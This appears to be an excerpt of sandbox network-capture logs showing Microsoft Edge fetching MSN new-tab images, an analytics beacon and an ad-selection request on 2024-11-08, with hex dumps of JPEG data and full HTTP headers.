2024-11-08 14:21:15 UTC	15863	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 85 da a2 66 d0 8a a6 2d 98 a6 2f 2d 29 89 be 4e 39 24 9e 3c ca c9 6c 03 84 93 dc b9 27 52 75 44 2e 13 33 10 2e 9d 07 af 45 54 38 c5 fd ca e3 2b a2 e5 30 72 b2 4e 32 06 5a 5d 46 06 20 9e a8 4b 44 d3 0b 39 00 9c 91 42 d3 cd 94 78 b4 e5 29 18 34 d8 bf 6e 2a 3c ee 90 16 0a 2e a6 49 37 12 50 5a f0 e3 74 81 04 cd a6 ca 63 78 c9 f2 f4 aa c1 b8 6e 6f c1 04 64 99 c6 4c 77 fa 85 91 06 66 51 24 60 8c c5 af 19 81 9f 72 98 67 ec 48 18 55 cd a0 8b e8 79 1f 4a bb 3d a0 70 81 c6 75 31 fb ca 63 81 85 00 09 c9 5d 6b 0e 86 fe 2a 40 08 9b 22 66 4f 72 b0 01 1c e7 8a 08 04 6c 6d e7 dd e0 af b1 92 09 fa 41 f0 ee 40 b1 c2 d5 dc 61 a4 99 e5 de a6 ac 00 25 b2 1d 88 0c 18 6f 8a 22 79 8e 00 1b a6 01 4a b3 58 d9 91 7d 33 45 27 64 23 d1 cd 05 c4 d3 0b 63 3c a1 49 0d 73 b0 91 11 88 88 Data Ascii: f-/-)N9$<l'RuD.3.ET8+0rN2Z]F KD9Bx)4n<.I7PZtcxnodLwfQ$`rgHUyJ=pu1c]k@"fOrlmA@a%o"yJX}3E'd#c<Is
2024-11-08 14:21:15 UTC	1275	IN	Data Raw: ca b9 d5 e8 5a 7c d1 4d ed 0a 3b a6 09 1a eb a0 e4 93 89 78 90 60 f0 c5 88 0e 90 a5 56 6a 51 92 95 42 e6 90 73 d2 f9 4c cf ad d5 37 ba 41 92 48 cb 90 27 8f 44 e9 6b 10 72 89 95 a6 d5 0e 7e fc 37 3d 6d 1d 17 01 c6 09 37 ce 07 ee b3 9a 7a 3b 62 32 54 4b 9a ef 4d 86 1d ba 6c 75 13 9c 6b af 92 e6 31 c1 d2 0c 93 63 33 6b c4 dc e4 bc f9 87 4c c3 ae 26 ec ee b6 49 6c 88 06 77 b5 b7 13 75 83 50 82 44 18 eb 3e 07 db 79 58 44 5f e4 d3 0c 59 a2 2f 2e 36 c7 b2 d4 a1 5f 11 20 b0 b1 d7 16 f2 3e c2 57 4f b4 69 19 4c 67 98 10 23 28 0b d3 fa 8f a8 a7 7b 66 29 b4 c4 c4 c6 5d 9c de 76 1b 3c 9f a6 fa 6a b6 37 a6 ab c5 51 31 31 97 9e 8f 56 ed ba 8d 2a e0 87 b1 ae 74 49 91 7f 11 07 c5 5d 63 59 04 e4 64 4c 9e 47 5c 93 a3 77 73 6f 3a 2a 98 8e df db 46 13 76 7b 9b 5b 7b 99 57 44 Data Ascii: Z\|M;x`VjQBsL7AH'Dkr~7=m7z;b2TKMluk1c3kL&IlwuPD>yXD_Y/.6_ >WOiLg#({f)]v<j7Q11VtI]cYdLG\wso:Fv{[{WD
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 78 cb b7 35 dd 82 1c 23 29 c2 73 e4 42 f4 1f a3 01 9f f3 00 e8 9c 25 b7 81 d0 c6 57 57 b7 46 17 17 7d b9 cb c9 e7 c6 4f 6a 7e 9f 6b fa bc de 79 b5 6a 16 d2 70 73 41 76 36 43 80 c9 96 90 40 99 8b 66 ba 6f d9 a6 06 36 4c 9e cc 16 3b 78 ea 1b 06 c7 42 bd 5b 6b e9 e2 e3 a2 ba e7 37 8f 7b c4 3a f7 28 a2 9c a2 ea 58 2a 16 e2 c3 48 88 06 77 b5 31 26 f7 b8 5d 1a 75 b1 61 a2 f7 34 c0 c8 b6 1b 8b 16 2c a4 92 78 18 85 d9 cb 36 33 7b 65 ab 96 c7 95 f9 39 58 1a c6 b8 96 50 24 5f 0e 07 3a 47 59 85 dd ec e8 b6 71 35 87 98 2e 6e 9d 4f a1 6f e6 e5 c5 b9 da 9f 25 fe 2e 19 71 7d b1 06 e3 73 77 48 c3 70 2c 2f 7e e5 ba b5 a8 3a ab 9b 4d a4 01 68 2e b9 e7 70 7e 2b a6 c7 4c 4d b3 41 4c c2 6a 8c ec 89 6c 83 95 da 65 b9 09 47 ea 19 d8 ba 99 a4 d7 17 38 1c 52 0c 5a 22 e3 da 92 ed Data Ascii: x5#)sB%WWF}Oj~kyjpsAv6C@fo6L;xB[k7{:(X*Hw1&]ua4,x63{e9XP$_:GYq5.nOo%.q}swHp,/~:Mh.p~+LMALjleG8RZ"
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 50 56 79 c7 fc 76 3f 76 10 e9 04 5b ee 2b b3 ba e6 de 9a e2 78 c4 39 3b c6 35 53 31 cd c8 1b 38 12 5a 5e ec 24 8c 25 b8 26 38 19 32 17 66 a8 a7 8d 80 54 37 9b b4 36 d8 44 df 3c d7 36 0e dd 5d 73 69 98 ce 1d 18 9c b1 7b 4e 4f 1d 50 b8 61 73 88 68 78 c4 2f 98 98 f8 af 45 b4 ff 00 08 66 4f b3 a6 5a dc a3 96 57 e0 bc fc a2 6c ec ae 6d 6b 5b c1 db 69 73 d3 9d f5 84 bb 0b c8 a3 9f cc ef 8a e7 53 ac 69 1c 00 18 18 9c 72 32 0e 5c c4 67 2a 36 e2 f1 3d ac e9 dc 8a 66 5a 55 3a 76 7e e2 69 99 85 05 a5 ea 07 ce 82 42 60 02 4d 00 18 42 00 01 09 80 0d 08 00 04 d2 33 01 09 00 66 92 01 03 42 46 0c 21 23 20 10 91 98 34 92 00 1a 48 00 1a 48 06 4d 2c a4 66 46 92 01 91 a1 00 03 51 39 e1 b6 cc a4 53 36 36 b4 51 8b b0 aa 18 55 cd 4b c9 ee d6 fd 16 5b 93 68 ed 67 33 9e 6d 36 69 Data Ascii: PVyv?v[+x9;5S18Z^$%&82fT76D<6]si{NOPashx/EfOZWlmk[isSir2\g*6=fZU:v~iB`MB3fBF!# 4HHM,fFQ9S66QUK[hg3m6i
2024-11-08 14:21:15 UTC	7952	IN	Data Raw: 99 de f5 63 6b 11 56 b6 1c 50 da 8e 1c be eb 67 a6 4b 48 9c a3 b1 e7 ce f4 44 cc 5f 4f d9 cb 86 73 7a 34 6c cc d3 4c db 5b 4f 9b 86 03 9a 29 b4 8c 98 5a 6f ae 8b 4e 04 d4 63 65 db d1 7d 78 9d 38 2e dc 50 f3 27 7b f1 99 bb 1a 28 98 88 7a 94 ed 7e 51 0f 1f 56 db 70 ff 00 f2 b3 d8 ba 95 ff 00 1f 5e 9e d1 da 4b 63 10 70 92 6f e5 aa f5 ef 7a 7d 1e 5d 3f 57 44 d3 69 89 bd bd b8 bc 8b 5a b8 ed 87 a5 57 d2 d5 8f 14 4c 5a eb cf 2f c5 46 1b 3f cd 4e 71 5a 05 ee 32 ba ee 56 d8 aa 06 d2 30 e7 61 2c aa ec 22 cd 05 da 98 cb aa ed a6 a8 89 9c f8 3c 8a 37 a6 6a d3 2f 97 d9 cd bb 4d 53 46 9c 7f 67 a5 b9 4d 38 27 3c f3 8b 65 9c c4 67 6e aa db 67 e3 a8 ed 8f 6b aa 76 80 b4 16 8c 24 0b 1f f6 95 5f f2 9f 92 ab b1 55 63 58 da 6e 0e 61 76 f0 33 20 c6 84 2f 66 2b 98 65 44 62 8e Data Ascii: ckVPgKHD_Osz4lL[O)ZoNce}x8.P'{(z~QVp^Kcpoz}]?WDiZWLZ/F?NqZ2V0a,"<7j/MSFgM8'<egngkv$_UcXnav3 /f+eDb
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 33 39 b8 58 6b 99 8a 75 38 7d be a6 cb a9 b4 d4 0d a0 d0 c8 00 cd c3 89 cb 47 5e e0 9e 37 55 74 ca 22 e5 33 2e 40 d9 6b 97 0e d1 ae 6f 00 73 3d c2 55 16 ed 55 41 8c 6e 23 84 9f 7a bb a5 36 93 bb a4 ea 55 40 24 b1 d8 8d a3 80 d2 14 4c da ea c0 69 27 94 ba c3 ce 02 24 8c ee a6 dd 96 b6 6e 63 b8 1b 1f 8e 41 5c a7 55 c4 61 c5 79 bc 62 93 c3 5c ba a1 49 b2 b8 70 6e 9e c8 e6 dd c0 5f 2b 80 07 43 af 35 97 b0 01 8d ef c4 ec 80 cc 47 8d d1 06 8b 05 a6 8b 61 0e 64 1b b8 3b 29 bc 09 12 4b 6c 0e 97 55 08 0e 69 2d 37 91 ca c7 92 19 dc 58 dd ea 1b 39 22 ce 61 13 25 d3 00 18 81 ba eb c4 c0 c8 ae 76 cc e7 d3 99 0e 01 ce ee 83 20 83 f1 e6 9c c5 c1 40 5c da 36 0d a5 d4 de e6 35 93 4a 0b 9a c2 71 83 f5 b4 44 75 32 6c 17 42 96 d8 29 d5 63 e6 03 9b 84 c4 e6 04 72 d2 ca 62 95 Data Ascii: 39Xku8}G^7Ut"3.@kos=UUAn#z6U@$Li'$ncA\Uayb\Ipn_+C5Gad;)KlUi-7X9"a%v @\65JqDu2lB)crb
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 99 5a 41 18 66 53 40 00 a5 08 06 45 74 d0 0c 89 08 06 09 34 00 19 4d 00 02 42 08 c0 42 00 04 84 00 64 84 00 02 10 0c 89 34 ac 15 72 24 5d 2b 1a ae 92 4d 2b 05 5c 89 09 03 19 04 5d 05 99 9e 41 24 8e f2 71 25 68 08 41 5e 4c 5a 02 68 06 02 69 17 aa a0 e2 39 1a d0 05 08 99 e6 a8 5c 44 f4 48 13 01 4c a6 65 ac 2e 21 b0 8e f4 a5 12 a8 5c 43 48 84 e5 9c c9 aa cd 26 13 96 61 49 47 54 81 09 4d 93 2a 83 84 81 c4 6b 92 cd b5 f0 ba ce aa 62 44 b5 a6 a9 8e 25 16 eb 0e 95 2a 84 98 97 47 af 82 cd 1f e8 90 46 51 3e 2b 83 72 88 b1 ee f6 bd 2d aa e6 e5 b3 9f 07 6e 9b 6a 3e e4 34 5b 22 ef fb 6e 7d aa 16 64 08 02 da 48 69 f0 8f 89 0b cb aa 68 8d 2f af 4f ba aa f6 ca ef 5a 8c 73 ad b4 d2 ff 00 64 53 ed c1 d6 8d a1 b1 21 90 23 ea f3 b1 52 53 63 dd 20 b4 81 c9 cd 3e be 6b 8f f0 Data Ascii: ZAfS@Et4MBBd4r$]+M+\]A$q%hA^LZhi9\DHLe.!\CH&aIGTMkbD%GFQ>+r-nj>4["n}dHih/OZsdS!#RSc >k
2024-11-08 14:21:15 UTC	7952	IN	Data Raw: f3 0a 91 71 e3 e5 e8 5c 78 b9 3b 62 98 e9 e2 ed b7 37 14 d5 3d 7c 3f 45 c8 e6 3c 15 27 17 c5 81 3e 0b 92 ee c8 8a 6f c1 d9 67 0c d5 5d b8 f8 2d c2 e7 76 ae 1a 11 e1 ef 5c b7 77 c5 14 f5 87 65 9e 77 79 57 67 93 a3 0b 9d 8a ae 90 3d 7a ae 0b bb f0 ed f1 7a 13 1e d9 bc e8 ab 73 82 fe 18 d7 e2 b9 c5 d5 9b f3 37 be 3d e1 71 62 bf 0f 93 bb 0e dc fb b3 e9 7f b3 bb 05 b8 fc de 7e 2d c8 f7 a9 f5 b7 dd d3 dd 1c 7c 4f bd 73 05 47 bb 27 b3 a0 3e 92 b8 33 9e 9e 50 ef c1 4c 7b b5 76 cc 3d 1f c6 3a f9 cf dd e7 63 aa 7d fa 7b 22 7f 57 62 dc 5d fe 6f 4a e4 9c 64 66 e1 e1 ef 5e 66 7c bc bf 47 a7 f8 c7 08 f1 fb 3d 4c b9 f9 fe af 2f f2 98 d6 7c 3e ee 83 9c 3e a1 e3 3e d5 cb ec 89 f9 8a e1 a6 99 e9 3e 4f 4b bc 88 f7 61 e8 55 54 47 18 f3 79 5d dc cf bc e8 17 73 5c c3 b3 8c cf Data Ascii: q\x;b7=\|?E<'>og]-v\wewyWg=zzs7=qb~-\|OsG'>3PL{v=:c}{"Wb]oJdf^f\|G=L/\|>>>>OKaUTGy]s\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.8	49815	23.38.189.114	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:15 UTC	634	OUT	GET /tenant/amp/entityid/BB1msG0W.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-08 14:21:15 UTC	519	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Sat, 28 Sep 2024 15:02:27 GMT X-Datacenter: westus X-ActivityId: 12066e15-e545-4cb6-be0a-e5f982d5ccfe Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/jpeg Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1msG0W X-Source-Length: 87332 Content-Length: 87332 Cache-Control: public, max-age=391472 Expires: Wed, 13 Nov 2024 03:05:47 GMT Date: Fri, 08 Nov 2024 14:21:15 GMT Connection: close
2024-11-08 14:21:15 UTC	15865	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: c5 0f 56 17 26 a2 a5 49 f1 2f 75 d9 17 5a 7b c7 aa 3a c4 4c 82 b8 92 a5 48 e2 3d d7 6b a8 de 28 ab 07 62 b8 d5 a7 52 5c 15 ee bb 55 29 52 e3 f5 0f 14 62 eb 92 e2 bf 76 1d 6a 93 a9 72 fa a5 3e a1 e2 97 13 f7 61 d4 a8 a2 a9 72 ba 87 8a 9d 44 71 57 bb 0e ad 65 4a ca e6 9b b2 87 a8 ee 25 2e 27 ee c3 a7 59 52 b2 b9 a2 e1 08 fa a1 1c 4f dc f9 6e ea 14 eb 58 3a 81 17 50 71 4f 8f c0 e7 f2 db 5a 95 ac 95 8e 2a 56 12 af 85 73 f9 6b ea 15 2b 59 6a 09 56 38 84 ab e0 f9 fc b5 d6 a5 6b 25 61 4a c2 28 b9 b5 56 53 ac ac b5 21 ad 14 7c 9b 2b 4e b5 ce 2f 29 03 e3 f9 a7 47 19 4e 8e 85 68 ab 5c 8a cc c3 79 bf 25 a4 38 01 99 2e ee 36 01 44 ce 30 d6 23 29 dd be b5 2b 58 58 5c f7 86 34 4c e4 9d c3 47 13 dd 6b b8 d6 31 c1 a1 ff 00 1c 19 f4 f1 ec 95 e3 74 38 e5 31 6b 6b 2a 56 54 Data Ascii: V&I/uZ{:LH=k(bR\U)Rbvjr>arDqWeJ%.'YROnX:PqOZVsk+YjV8k%aJ(VS!\|+N/)GNh\y%8.6D0#)+XX\4LGk1t81kkVT
2024-11-08 14:21:15 UTC	2147	IN	Data Raw: c2 ef fb 4d cf f9 2d 81 8a 84 66 70 bd 25 fd 1d ab cd a5 cc 6c 0d bc 3d 16 4b 5a 0b 3a 56 b8 db 6c 38 b4 89 24 9f c0 4b 1c 67 1c ac 65 31 38 d7 77 84 be f7 39 ef 24 48 2e 3e 00 99 31 3f 88 2b d3 db bc 47 b5 3b 06 a0 d7 33 e7 e0 38 1c af 23 79 ee 1c b3 3c 62 63 1b 0e 18 f0 5e a3 db d8 db ba 40 c7 49 04 b8 9c f8 f6 e0 a3 0d f2 cb d2 4f 39 e3 11 eb 0d 3a 36 58 d6 e9 ad b2 ec 12 c9 03 39 86 91 f5 d8 80 bb 54 da d0 e9 9f d3 11 4b 4d 24 e7 3d b7 5e 12 d5 df db 5f 75 c6 e0 36 b0 07 ac c4 ef fe 61 76 4e a8 bf db 8c 46 5e fb 64 e4 6f cd 38 3e 3f a8 c2 b8 ca 3e f5 fd 8a 62 63 d3 ff 00 ae 46 b3 55 d7 be cb 8e 30 43 18 4e 24 d4 d0 0e 27 10 4e 76 5b fd d2 ff 00 56 e3 4f 60 cd b8 12 b9 4d a4 1b 75 09 d8 c7 01 dc ed 2b 67 b8 b6 9b bc a3 96 91 49 de 64 7e 6b 3e d9 7a c2 Data Ascii: M-fp%l=KZ:Vl8$Kge18w9$H.>1?+G;38#y<bc^@IO9:6X9TKM$=^_u6avNF^do8>?>bcFU0CN$'Nv[VO`Mu+gId~k>z
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 1f b2 24 f0 2a dd 6d e0 2e 1a 4c 40 21 b8 39 ef be c0 6d f1 5c 6a 83 83 6e 03 2e 73 5c d2 3b f2 9e 3e 32 b4 99 de 58 46 d1 0b 5d ff 00 1d 98 11 51 9e dd 8c ce c0 67 30 b5 1b c5 c2 f5 3f e9 df f4 ff 00 29 b6 d3 af e9 2a 18 e8 8c 18 f3 11 b8 e2 21 b2 73 dd 72 b4 d2 2e 3a 60 d2 46 d9 1b 1f 1c e4 a8 95 ee b2 e5 83 43 03 89 a9 f3 50 c7 2c 1c 1f 86 e8 5f 36 ed 3c 02 69 a8 36 a8 8a a3 c2 61 7a 06 59 ea 33 4f a8 73 83 9b 75 ef b5 4f ea a9 ac 9a a3 86 21 4b de d4 cb 9e 47 b9 b2 66 3b 27 8c 72 8b 84 e5 3c 72 df 6d 9c 3d 13 4d b7 17 38 37 23 0e 74 f1 dd b1 df 82 bb 45 6e d3 c5 cb af 7b 8b ad bc 40 dc 3a 78 cb 7c 17 47 51 a2 a7 a6 03 e9 37 6a 6b 49 ed 03 3c 37 d8 2e 5b ad f4 00 b6 d3 2e 1c a6 27 ed 6e 7f f2 84 ea 8a 26 e1 ba f5 e0 c6 d9 0d 93 51 ef 1d 8c 0f af 74 44 Data Ascii: $m.L@!9m\jn.s\;>2XF]Qg0?)!sr.:`FCP,_6<i6azY3OsuO!KGf;'r<rm=M87#tEn{@:x\|GQ7jkI<7.[.'n&QtD
2024-11-08 14:21:15 UTC	16384	IN	Data Raw: 3b 2e fe 86 ed ce 8d c8 0e 77 38 0c 02 24 e7 23 80 9c 99 ff 00 75 ca f7 29 6d cb 6d 68 14 35 81 8d 70 02 93 de 4c 72 b4 c7 36 fb 39 6b d1 8b 6e 6d 0f 73 1b 6d a0 f3 09 82 48 34 80 c0 e0 4f 78 26 4c 9e e5 65 0b de 26 9d 8d 7d a0 6c 31 96 5a 45 34 e0 39 c0 07 3a 72 39 aa 2c 02 65 d1 bc 60 2f 1a 19 7e dd ca 6f 36 e3 0b a6 6a 04 4e 47 36 60 76 f5 ca f6 8f 7b ae 59 b7 55 de 88 73 88 bb 73 7b b3 6c 0a 5e 36 2d 2e 9c 6c 18 d0 27 65 eb f4 cf 66 a3 4f 6d e2 08 73 7b 89 f8 ef 9e 3e 28 c5 5e 48 ba f4 7c ea f5 d1 72 cd b7 44 3d ef 2c 74 6f 92 03 72 37 c3 49 1c 30 51 1b 8d 75 e8 cd 21 85 c0 d4 49 34 b7 cd 9c 97 76 f4 ec bd f3 f4 5a 67 64 d9 b7 bc e1 b0 67 c0 88 3e bc 57 39 de d5 a4 79 91 6e 98 69 6e 0c 82 3c 43 a7 3f 82 b5 a6 37 4f 14 da 5f a8 37 40 69 65 ba 00 a8 45 Data Ascii: ;.w8$#u)mmh5pLr69knmsmH4Ox&Le&}l1ZE49:r9,e`/~o6jNG6`v{YUss{l^6-.l'efOms{>(^H\|rD=,tor7I0Qu!I4vZgdg>W9ynin<C?7O_7@ieE
2024-11-08 14:21:15 UTC	7952	IN	Data Raw: 95 cf e4 96 de 3d 1c d9 75 55 b4 c3 9a 49 2e 18 87 4e e2 3b cf 05 f6 0d 33 c3 ec db 21 fd 4e 51 cd dc 98 cc f8 ce fe 2b e7 ac f6 d1 76 d3 1c 0b aa 70 f2 48 a8 ba 4e 4f 80 11 27 c2 22 4a f7 b6 22 de 9e dd 51 53 58 d0 ea 66 24 0f e9 13 f2 53 e2 89 8b 69 e4 ec af 5c 5c 19 38 a7 b8 ce 79 86 30 72 08 3e ab 76 94 f5 2d b2 93 5e 37 12 47 d0 90 0c 2f 2d a9 ba db 97 0d 73 20 4c 36 79 43 79 b6 25 a4 ed 24 9e 11 0b d2 7b 65 db 7f b7 86 39 a4 c9 26 05 3b 9d c8 18 f0 31 85 a5 ef 29 ec e9 f4 8f 72 02 ca d7 55 71 cc e1 b1 91 07 d2 37 57 dc b9 0d 26 7f 3f bb 2b cd 36 f3 6d 5c ad ef aa 24 12 1b b9 e0 48 18 a4 76 8d b2 ae 66 4b 66 8d 75 ea 00 87 5b 20 f7 90 69 20 ee 44 83 4f 63 07 13 95 e3 03 eb 78 6b 1c 61 d7 5b 54 62 09 fb 2e 35 13 89 cb bb f6 5d 2f 74 bd 6e e3 83 ec dc Data Ascii: =uUI.N;3!NQ+vpHNO'"J"QSXf$Si\\8y0r>v-^7G/-s L6yCy%${e9&;1)rUq7W&?+6m\$HvfKfu[ i DOcxka[Tb.5]/tn
2024-11-08 14:21:15 UTC	12216	IN	Data Raw: 98 95 e8 68 b6 eb b6 de 2b 74 10 5e e7 00 03 bc b0 e8 9e 59 c9 6f 7d c0 88 46 6d ea 03 dd c8 74 f6 f9 9d 2c a6 e8 26 70 5b 37 04 97 76 c9 f4 90 8c a5 b6 38 e8 3d 3d d1 72 28 b9 43 5a d2 1f a9 0d a5 c1 c5 b8 04 92 e6 b8 c4 72 01 1b 49 19 5e 67 5b 41 a1 8f be 5f 71 84 08 b9 6a 1c 1b 93 cd 93 81 f6 24 0c ae b4 30 69 e3 24 32 e0 7b b2 de a5 cd e1 c4 09 2c a4 6c 24 f7 55 bf db 5b 75 b7 1f 6e cb 9e 5b fd db 85 d7 5a 4b 83 8c 82 20 12 d0 40 74 83 df ba c3 bb a7 2f e2 3d 2f 51 cc 73 2d d4 e9 0e e9 9e 9b 58 eb ac fd 61 ae 24 16 b0 4e 33 e8 b1 35 b4 5e 0d 73 5b 70 b3 fb 6e 68 27 98 87 10 1d 38 18 04 01 9d b7 28 4d cf ec b6 5c 6d 93 04 96 90 5d b8 14 37 1d bb 97 13 b2 b9 97 1c 2e 65 a7 9c 5c 20 4c 07 54 25 a0 87 02 25 b8 a8 08 90 42 d9 cd 72 ae fd c3 0f b8 5d 50 27 Data Ascii: h+t^Yo}Fmt,&p[7v8==r(CZrI^g[A_qj$0i$2{,l$U[un[ZK @t/=/Qs-Xa$N35^s[pnh'8(M\m]7.e\ LT%%Br]P'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.8	49817	108.156.211.71	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:15 UTC	1012	OUT	GET /b2?rn=1731075672840&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=2DD296EDD8FB644F13F183DCD98E6569&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1CDb969274606314f413a0f1731075674; XID=1CDb969274606314f413a0f1731075674
2024-11-08 14:21:15 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Fri, 08 Nov 2024 14:21:15 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 e6a210d32373f8c8e5c59660a5ef51d8.cloudfront.net (CloudFront) X-Amz-Cf-Pop: DFW56-P3 X-Amz-Cf-Id: wKX4RjjqF0lcooDQUzRP6aDXx0td1Amc9PCQUF7BDhbH-RyJ1KnH8A==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49813	20.75.60.91	443	7292	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-08 14:21:15 UTC	1000	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=2DD296EDD8FB644F13F183DCD98E6569&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-5438092865908489856&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=974adb91097e48a6b487471a42613d3c HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=2DD296EDD8FB644F13F183DCD98E6569; _EDGE_S=F=1&SID=2C15D19DB0CA691E3B6DC4ACB17B6826; _EDGE_V=1
2024-11-08 14:21:15 UTC	777	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 2650 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"1,P425132777-T700343879-C128000000002115089+B+P60+S1"},{"BATCH_REDIRECT_STORE":"B128000000002115089+P0+S0"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Fri, 08 Nov 2024 14:21:15 GMT Connection: close
